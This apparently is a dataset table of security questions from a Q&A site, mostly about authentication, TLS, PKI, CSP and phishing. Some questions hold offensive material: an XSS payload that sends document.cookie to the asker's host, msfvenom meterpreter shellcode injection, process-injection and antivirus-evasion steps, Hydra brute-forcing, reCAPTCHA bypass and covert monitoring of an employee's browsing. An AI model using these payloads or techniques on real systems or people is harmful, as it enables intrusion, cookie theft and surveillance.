instruction stringlengths 24 29.9k |
|---|
I received an sms on my iphone informing me from my local delivery company that I have a parcel pending and to click on the link, which I did as the link bought me to my local delivery company home webpage which looks very legitimate (https://mysingpost.com) with all the logos imitated well. I was asked to key my mobil... |
I am wondering if it's safe to send the signup, reset password, 6 digit verification code in the subject of the email.
Example: "Welcome to the Application, Your verification code is XXXXXX"
The purpose of sending the verification code in the subject is to make it easily accessible on mobile devices. Instead of opening... |
HTTP basic auth sends credentials un-hashed and unencrypted over the wire, relying on TLS for confidentiality in transit. However, should the password be stored hashed using a standard KDF in the backend for comparison on receipt?
|
A client wants to track a specific employee's browsing habits. Assuming that the employee knows how to clear their browser history, is there any way to recover the history so it can be read by BrowserHistoryView or some other software?
|
Correct me if I am wrong, please.
I understand that 2FA (MFA) increases account security in case an attacker obtains a password which might be possible via various ways, e.g. phishing, database breach, brute-force, etc..
However, if the host where one uses the 2FA device is compromised (full system control) then 2FA is... |
Let's imagine that we have an SMS verification auth, and using random 4-digit codes,
i.e. 1234, 5925, 1342 and etc.
I'm using this random inclusive algorithm on my node.js server:
function getRandomIntInclusive(min, max) {
min = Math.ceil(min);
max = Math.floor(max);
return Math.floor(Math.random() * (max -... |
Can Hydra ssh to remote host and attempt a password list against su root?
I am trying to recover the root password to an old device. It is an old Apple jailbroken Apple device, running IOS8.
The device is somewhat slow, but have no rate limit or delays. I am able to run 150 tries/min with hydra for the ssh password.
... |
OWASP top 10 lists the top 10 web security risks.
But I didn't find the other vulnerabilities out of the top 10 in OWASP site.
Is there any document that contains all web vulnerabilities?
|
So, suppose you gain access to my wifi router through some attacks (may be brute-force). After a days or two I changed my wifi password with more complexity. So what can you(a attacker) do to again to gain gain access to the same network?
Will it be possible that the attacker make some configuration in my router and th... |
I've noticed that some sites publish very detailed password requirement statements to users.
Here's an example screenshot (not singling out this site - just a random image that came up when googling 'password requirements'):
In this case, a bad actor would know details about the password including:
Minimum password l... |
Suppose I need to store a bunch of passwords: storing them in a txt or odt file inside an encrypted container, such as the ones produced by VeraCrypt, is bad practice? Would I put myself at risk?
If so what are my other free options? (So no password managers) Do I need to also hash my passwords before storing them in t... |
Can a client with an ECC certificate and a server with RSA certificate establish a mTLS connection?
Can they agree on a cipher suite?
Why?
|
A vulnerable C program to stack buffer overflow, requires 112 byte stuffing to get to return address of the calling function. Here the Strcpy() is the vulnerable function.
void f(char *name){
char buf[100];
strcpy(buf, name);
}
void main(int argc, char *argv[]){
f(argv[1]);
}
Trying to write the rop gadgets to... |
Let's state that I have a huge bunch of truly unpredictable random data in file "random.bin". The random data has been created outside of my system and has been securely transfered into my system.
Questions:
How could I feed this file to the OS entropy pool so that a subsequent call to /dev/random by my fancy software... |
As a developer, when an Incident comes in and reaches Tier 3 support (The development team), how can the developers get access to query the Production Database, while remaining PCI Compliant? I'm admittedly a newbie when it comes to PCI Compliance. Is this just a case of Read-Only accounts? Is this a case of data maski... |
If they do keep our private key and by chance if anyone within the CA organization listen to our conversation. Isn't it a confidentiality breakage?
|
Is there a tool, or a command for linux that can make possible to redirect HTTPS site to another HTTPS site on LAN? i'm using Kali Linux, and all the tools and commands that i found was to redirect HTTP to a local hosted website IP.
I want to make this:
https://www.google.com > https://myblog.com
not this:
http://examp... |
What would happen if someone deauthed a cars mac address?
|
As an example, one of the most basic malware to inject into a process to get a C2 beacon goes like this:
Get Handle of a process -> VirtualAllocEx -> WriteProcessMemory -> CreateRemoteThread
Now writing this in C/C++ is quite native as it can easily communicate with WinAPI. Are there any benefits in writing this in an... |
I have read about MAC vs. DAC in the Internet, but I still fail to understand, what kind of attack it is impossible to protect against if one only uses DAC+capabilities in comparison to MAC+DAC+capabilities. If a process does not run as root and lacks CAP_DAC_OVERRIDE, CAP_FOWNER and other dangerous capabilities, it ca... |
I have GPG agent forwarding via SSH RemoteForward working up to a point.
I can list my private and public keys on the remote host.
If I try to decrypt a file remotely, the PIN is prompted for but the text is stepped, garbled and the passphrase prompt echoes the passphrase (at least several random chars).
I can skip the... |
Wouldn't it be more efficient if the client initiated the connection by generating their own message, and encrypting it using their private key, then sending both messages to the server so it would decrypt and compare the messages?
|
If nmap shows all ports are filtered or closed, what would be the next logical step to take?
Does that mean I would need to get physical access to the device? or is there any other ways to get information?
I'm trying to scan my own smartphone and all the ports are closed, and I did the same with my laptop and all the p... |
When data breaches occur, is a database always involved?
In the case of databases being involved, do hackers figure out how the data is stored and read this or do they just figure out how to make queries to the database via the DBMS?
Is accessing the data files less of a mystery for open-source files and thus a possibl... |
I was at the ISO/IEC 27001 official web page. I saw a the publication for the norm. It's about 23 pages. So I was wondering if studying those 23 pages would prepare me enough, lets say at 80%, to passe exams for foundation, lead auditor or lead implementer exams ?
|
I work as a solutions architect for web-based systems on AWS. As part of this role, I often respond to Information Security questionnaires. Nearly all questionnaires request information about data encryption at-rest and in-transit. However only a much smaller percentage ask about other security aspects, such as passwor... |
I am currently doing a boot2root VulnHub machine and I have found an XSS entry point to steal admin cookies.
The strange thing is that if I run my SimpleHTTPServer on port 80 then the following payload triggers
<script>document.write('<img src="http://192.168.1.130/'+document.cookie+'" width=0 height=0 border=0 />');</... |
apt InRelease files update like twice every day, in ubuntu repositories and their mirrors. similarly in ubuntu and debian based distros, and other apt repositories. these files are small text files that contain hashes of other [fresh] text files, which contain hashes of [fresh] package files. and these files are signed... |
I have set up dynamic port forwarding using SSH. Although nmap scans over proxychains return accurate results, a SYN scan does not.
|
In Cuba the telecoms/ISP monopoly, Etecsa, works with the political police to spy on dissidents, journalists and others.
A common attack in Cuba is therefore SIM Swapping which is easy for them. It is also effective in order to eavesdrop on phone conversations and SMS.
Would the SIM Swap enable the attacker to also hac... |
I've hacked a box in an internal network 10.0.0.1 and I want to use 'pass-the-hash attack' on another box 10.0.0.2 but this box has Avira anti-virus installed in, and the common payload windows/meterpreter/reverse_tcp is detectable by Avira.
So I made my own backdoor and it can bypass Avira; how can I let metasploit us... |
What can you do that will make it easier for you to trust a third-party server? For example, using Intel sgx enclaves.
|
I am trying to use this exploit on HTB : https://www.rapid7.com/db/modules/exploit/windows/smb/ms08_067_netapi
pretty simple yet metasploit gives me an error : all encoders failed to encode
I have spent hours trying to find a solution but I found nothing :/
This is screenshot for the error https://ibb.co/sQ5cCFY
Metasp... |
Problem
How do I ensure that I cannot access confidential data manually through the database? Practically speaking, this is a firestore database on google cloud, and I have access to the administrator google account. For the purposes of this question, we assume the code is perfect, and is trusted to be not malicious in... |
I'm in need of an authentication & authorization service that can manage our app's pool of users. I stumbled upon Keycloak and have been checking it for the past few days, but I'm wondering why Keycloak doesn't provide an API for a client to sign-in/sign-up on behalf of a user.
Is this because Keycloak is exclusively m... |
I was researching fuzzing using AFL and hongofuzz and they mainly support applications that run in the terminal. After that I came across a list of resources for network fuzzers, and found afl-net which was well maintained. I tried using aflnet but it does not support the http protocol. I do not want to edit the code o... |
https://dev.deluge-torrent.org/wiki/Download
https://ftp.osuosl.org/pub/deluge/windows/?C=M;O=D
The latest version of Deluge for Windows that can actually be downloaded and installed is deluge-1.3.15-win32-py2.7.exe from 2017-05-12.
That's well over three years ago now!
They have been discussing the problems of releasi... |
For an company with sensitive customer relations and above average secrecy how much does it make sense to implement S/MIME or PGP for providing their E-mails the verification functionality (please correct me if I'm wrong), which most E-mail clients to my best of knowledge support, even though the contacts of the compan... |
In the past I have used two methods for securing files for web apps.
Put them outside of webroot (which is usually {www || http}/app). So files would usually be stored outside apache altogether.
OR
Restrict access within my .htaccess file
My friend suggested another alternative which is similar to option 1 but allo... |
I am trying to understand how PKI is used to boot an ARM board.
The following image relates to BL1:
The booting steps state:
Also from:
The certificate used in step 1 appears to be a content certificate. In the diagram it suggests in contains the public key used to sign a hash, and the signed hash for BL2.
Referring... |
I've done some research and it looks like that the way linux keeps history is less about security and audit and more about helping the user.
Even after making changes to instantly log the command and space commands the command still wont log till finished.
Is there any way to improve audit logging other then possibly w... |
Let's assume we have an internal environment consisting of some distributed systems, one central system and an internal PKI. The central system is serving a cluster of HSMs that shall be accessable by network in a securely controlled way. On the distributed systems, there are different application services run by separ... |
I happen to have a few hashes generated with code that did this (it has been changed to use a more "standard" bcrypt call):
$ python3
>>> import hmac
>>> hmac.new(b'The quick brown', b'123456', digestmod='sha1').hexdigest()
'c3b8986510970b778b26c42d954a93411f32f301'
i.e., it calculates hmac.sha1(key=salt, message=pass... |
By saving all the passwords for all users forever, are companies accidentally creating a less secure environment?
Related to this question:
Why do some sites prevent users from reusing their old passwords?
I understand that companies feel that they need to be protected, but by everyone taking the same strategy, it crea... |
There have been quite a lot of data breaches in the past and I wonder how the companies got to know them. Were they only finding it in the news? Did individuals inform them?
What about small data breaches, e.g. if you have a user who has an account that was hacked but the exact same (email, password) combination is use... |
How can I bypass the recaptcha on a website with python requests so that I don't have to solve it?
|
I want to inject meterpreter shellcode in a c++ program.
When I create .exe file in msfvenom, I try it in my virtual machine (Windows 7) and it works well.
But when I create shellcode and inject it into a c++ file, the program compiles successfully but crashes when I launch it in my VM.
msfvenom -p windows/x64/meterpre... |
Background
A while ago I started using F strings in Python but remembered seeing some security concerns with using them with user input so I have made a point of not using them for those situations.
Question
Are there security concerns to using python f strings with user input. For example, is it possible for a user to... |
So I'm by no means a security expert. I'm just a recently graduated software developer who is working on a contract project and I want to ensure I'm taking appropriate security measures for my client.
Essentially, my program functions as a basic HTTPS listener service. It listens for messages from an existing system, a... |
I'm having trouble making sense of some reported CSP violations that don't seem to actually be violations according to the CSP standard. I have not managed to reproduce the violations in my own browser, and based on my own testing I believe that the block is the result of a non-compliant browser. That seems like a bo... |
While 2FA is clearly an improvement over only a single factor, is there anything which prevents an adversary presenting a convincing sign-in page which captures both factors?
I realise that technically a MITM attack is different to a Phishing attack, though at a high level they're very similar -- the user is inputting ... |
According to the CySA SYBEX book, in chapter 1, power failures are listed as both environmental threats and structural threats... but which one is it?
According to the book:
Environment threats occur when natural or man-made disasters occur
that are outside the control of the organization. These might include
fires, f... |
Please excuse the lack of details, you can understand why. I have a friend in a foreign country who is certain that he is a surveillance target of his local government. Other people he knows in his same category have already had their internet connections spied on, and seen contents of their emails leaked. He refuses t... |
I have a hard drive used for years, there are windows and many personal files on it. What I called "files" are images, musics, documents (pdf or docx), but not programs. All the "files" were not initially infected. As I said in the title, the hard drive may be infected by malware (I did not safely use it).
My question ... |
I am a contractor who does development for more than one client. Let's call them Client A, Client B, and Client X.
I use my own laptop for all 3 clients.
Throughout the day, I have to work on and respond to emails and instant messages about projects for all 3 clients.
In order to work on Client X's project, I must be ... |
I am looking for some compromise with integrating E2E encryption for web app (basic FE and BE).
Basically I read about two concepts which are truly E2E encryption and not that much complicated.
Using two passwords, when one is for login and second is for encryption only used only locally on client device. Something li... |
I am currently trying to learn HTTP Request Smuggling vulnerability to further enhance my pen testing skills. I have watched a couple of videos on Youtube and read articles online regarding it but still have a couple of questions in mind:
What are the attack vectors of HTTP Req Smuggling (Where should I look)?
What is... |
I am using VNC GUI client from my Desktop to connect to a remote (ubuntu) server, say S1. From the remote server (S1), I will be logging into another server (say S2) via SSH. Via VNC client, I will be typing in the SSH password of S2 on putty running on S1 to gain access to S2. Is this a safe way of doing things?
|
I have a piece of code that is using a certificate for authentication with a cloud service.
The certificate is stored locally, and is protected by a password - thus what the developers did is to hardcode the password in their code.
I was wondering if there is a more secure method of performing this, as if the piece of ... |
I am not an expert, but as far as I understand, ransomware will encrypt files and (for an undefined period) decrypt as well, so it appears all is well. At some point in time, the decrypting ends and your files are held hostage.
A backup can help restoring the files, but my question is how to detect the files are not al... |
Let's say I want to give some data to Bob. I have his public key. I tell him to generate a digital signature for text "{some_stuff: 1, nonce: 2}". After he does that and after I verify it's the right signature, I give him the data. I use a different nonce for each session. Is there anything I need to be aware of? Is it... |
Assuming you only use mainstream software like Firefox, Thunderbird and Libreoffice, and update/upgrade every day and use strong passwords and encryption. I know this is probably a very basic and unprofessional question for this site, but I get mixed messages regarding what the best choice is for someone paranoid about... |
The card was a 16gb SanDisk micro SD card (monolithic).
|
I have a virus in my explorer.exe file. Because of that virus the desktop screen gets black sometimes. Then i have to open task manager, browse the explorer.exe file and open it. This solves the problem. However when i attempt to remove this virus, most of the antivirus don't detect it and those who do are not able to ... |
With old HDD to secure delete a file you need to use Gutmann standard, but with new HDD you can use only 1 pass overwrite
I'm not sure what hard drives mobile phones use and don't know how many passes will be okay for secure deleting files on phone.
What standards are okay to safe delete files on phones? How many passe... |
I am trying to gain access to a server using CVE-2019-15107 with help of metasploit. I tried to find examples of its usage, but I found none.
My machines ip is 192.168.109.133. I am connected to a vpn where I have access to the target at 192.168.208.32. At port 10000 Webmin is running with version 1.890, which is susce... |
It seems like all the google results to this question answer what port scanning is, but go into little detail about how a pentester or hacker could use the information about what ports a network has open to leverage an attack on it.
Why do vulnerabilities arise by scanning and finding open ports, and what are those vul... |
I want to build a group chat app where messages are transmitted and stored as securely as they can be, but where the message history is still visible after you or others in the group have changed devices. From my understanding, PFS isn't possible here.
It seems that WhatsApp has implemented PFS, which makes sense becau... |
I recently went on to the Dr Squatch website to buy some soap that I've been seeing in all of those Youtube video ads. What happened really freaked me out.
The website asked for my email, and I provided my outlook account. Immediately, my cell phone buzzed with the text message sound and the website asked me for a six... |
So i started to use VirtualBox in windows 10 and i would like to know if those alert from my windows 10 security program (avast antivirus), during my installation/upgrading of TheHarvester program at virtualmachine Kali Linux of VirtualBox will cause any threat or harm to my personal computer? ( I am really concerned a... |
Hi guys the company I work for gave me an awesome laptop but I don't want them to spy on my personal activities (they have lots of Spyware and security).
I am, however, able to boot from an external drive and the laptop has a thunderbolt 3 port. So it's perfect for booting externally with my personal HD.
I'm not sure... |
Would my laptop be secure against physical access if I set up a bios password and full disk encryption ?
If not then is there any way to secure your laptop from someone with physical access?
How hard would it be to hack into such a laptop? How long would it take? What methods would be used? Does it matter if the hacker... |
Logwatch shows that proftpd was tried to be logged into using root
0.0.0.0 (111.254.68.221[111.254.68.221]) - SECURITY VIOLATION: Root login attempted
I found:
Normally, proftpd does not allow root logins under any circumstance. If a client attempts to login as root, using the correct password, a special security mess... |
I wanted to know my external IP address from the command line. I found this answer on Ask Ubuntu: Command for determining my public IP? which suggests to use
curl -s https://checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//'
But the address https://checkip.dyndns.org is detected as malicious on s... |
A lot of websites scanned with securityheaders.io are missing different headers.
Should all of these headers be reported as findings or just few of them which are more critical?
|
The conundrum
My wife’s laptop has been running openSUSE Leap 15.0 for several years, and she has once or twice been flummoxed by this prompt at the very beginning of the boot sequence, most recently this morning:
Trust openSUSE Certificate
Do you agree to use the built-in openSUSE certificate to verify boot loaders a... |
One of the approaches in order to prevent Sybil or DoS attacks is CPU-bound PoW. However, because of the influence of Moore’s law, the memory-based approaches are suggested.
As actually there are two different terms: (1) memory-hard functions and (2) memory-bound functions;
Does it mean that we have two different memor... |
I'm assessing the security level of a webapp and one of the test cases is the CSP header. I always use the Google CSP evaluator to assess the header. Let's consider the following CSP header:
Content-Security-Policy:
img-src 'self' https://example.com data: www.google-analytics.com;
object-src 'self' https://example.c... |
Cloudflare enables several options regarding the communication between its servers and our own.
"SSL Full" means Cloudflare encrypts the traffic but doesn't check the validity of our servers' certificate.
"SSL Full (Strict)" means Cloudflare encrypts the traffic and checks the validity of our servers' certificate.
I am... |
I wonder if the lack of an SPF DNS record is a factor in the decision to mark a message as spam.
I understand that an SPF fail is definitively such a factor, i.e. when SPF is configured, but a message has "MAIL FROM" / "Return-Path" domain not on the list in the SPF record.
But is the consequence of not setting SPF onl... |
SCENARIO:
user input is reflected inside a variable.
For example
url.com/?a=hello
is reflected as shown below
var test="hello";
I tried to evade from the variable with payload like hello"; or hello%22; or hello%2522; but unsuccessfully.
All these characters are reflected without encoding: .[]{};:{}\/?|_-+ so i can u... |
Assume in a distributed network, where the nodes are not trusted and are identified by their public keys, we intend to select one of them in a random process. In such a situation, all of the nodes have the same chances to be elected.
Since the system is not centralized and there is no trusted server performing the elec... |
I am using the following command to create a certificate sign request file.
openssl.exe req -new -key clinetkey.pem -out client.csr" -config client_cacert.cnf
where client_cacert.cnf has the following content
[ req ]
default_bits = 4096
default_md = sha256
distinguished_name = req_distinguished_name
x509_extensions = ... |
From time to time, questions come up in this board concerning web applications that utilize client-side cryptography (or ‘in-browser’ cryptography), where these applications claim to be designed in such a way that the operators of these applications have ‘zero-access’ to users’ private information. See links to severa... |
In general, CSRF protection means this: "compare <input type=hidden> with a value in user's session" (or sometimes - user cookie).
Now, suppose I want my app/website to be iframe compatible (while still protecting from CSRF "session-riding" attacks).
However, newer browser versions will disable setting a cookie inside ... |
I recently received a call from a number I didn't know to my mobile, answered it anyway. I didn't say anything, when it is a number I don't know I let the other person speak first.. after a few seconds line went down, tried to call back but phone just made an odd noise instead of ringing and it was similar to a fax but... |
I have been reading a bit about the deep web and the dark web, and that you need to connect to the onion network through a VPN to navigate anonymously.
I'm currently using Tails and its default system: onion circuits. I have read that onion circuits is just a free VPN, is this correct?
I have read as well that, to chec... |
I don’t understand the password vs. passphrase analyses that I read. Let me explain.
Here is a pass phrase. It has 5 words using only lower case (I’m ignoring randomness for this purpose): friend house jump touch kiss
When I enter that passphrase, it looks like this: ••••••••••••••••••••••••••••. That’s 28 characters... |
A few days ago I joined a stream on a youtube channel that I later discovered was being hacked.
That got me thinking. Is it possible to have been infected with some type of virus just by accessing the stream (By this I mean that I didn't click on links or add. I just opened the stream on the youtube page)?
|
Several of my Spring Security based projects expose a RESTful API that support the full range of HTTP verbs: GET, POST, PUT, PATCH, DELETE, etc. For those projects only using GET and POST, everything works as expected. When using PUT, however, I encounter CSRF protection issues that usually lead me to disable CSRF prot... |
How can I build a simple website that contains SQL injection vulnerabilities for study purposes? What do I need to learn?
|
My J2EE application is vulnerable to HTTP header injection attack. I want to make it secure from this vulnerability. Also, I am searching if any library (Maven dependency) available for this.
|
Say youtube.com wants to generate their new certificate. How certification authority verify that the request came from youtube.com, not from a party pretending to be youtube.com?
|
From my understanding, TCP spoofing can be carried out if the attacker can correctly guess the sequence numbers from the response packets (to mimic the real client). The attacker may even obtain this sequence of numbers via sniffing. Furthermore, a trusted connection must already exist between the target client and the... |
Should the cookie secure flag be set on websites which are served only through HTTPS?
The Secure attribute tells the browser to only send the cookie if the request is being sent over a secure channel such as HTTPS
Let's say the victim connect to https://example.com and there is no http://example.com.
How can an attack... |
When I receive an email sent by someone using a webmail service (e.g. Gmail, etc.), I can find the IP address of the sender's email server in the email headers.
But do the email headers also contain the IP address of the desktop (client) computer used by the person who sent the email?
Would it be the case if they use s... |
I consider running Android applications in Anbox instead of running them in a virtual machine (Android-x86 in GNOME Boxes using QEMU with KVM). Does it increase the chances that malicious code in an Android app will get unauthorized access to the host system user's files?
According to Anbox.io website:
Anbox puts Andr... |
I want to install a Chrome extension called metamask. I do not trust this kind of software. (Maybe because I am a newbie)
What can a Chrome extension do on my computer? Is it possible, for example, for a Chrome extension to read a local file, sniff my network interface, perform keylogging?
Does Chrome extension run in ... |
Problem
Consider a standard sign-up form (user enters an email address, we send a confirmation link).
Even limiting that form per IP (or even globally per hour), I'm concerned about abuse:
Our real-world reputation would be harmed if someone enters plenty of (publicly known) email addresses of companies in our geograph... |
Does it still make sense with multi factor protected accounts to deactivate them after a certain period of inactivity?
I'd say yes because the user himself probably doesn't remember that an account exists when they aren't using it.
In fact we've had several VPN systems before, during the rise, and after Covid was "esta... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.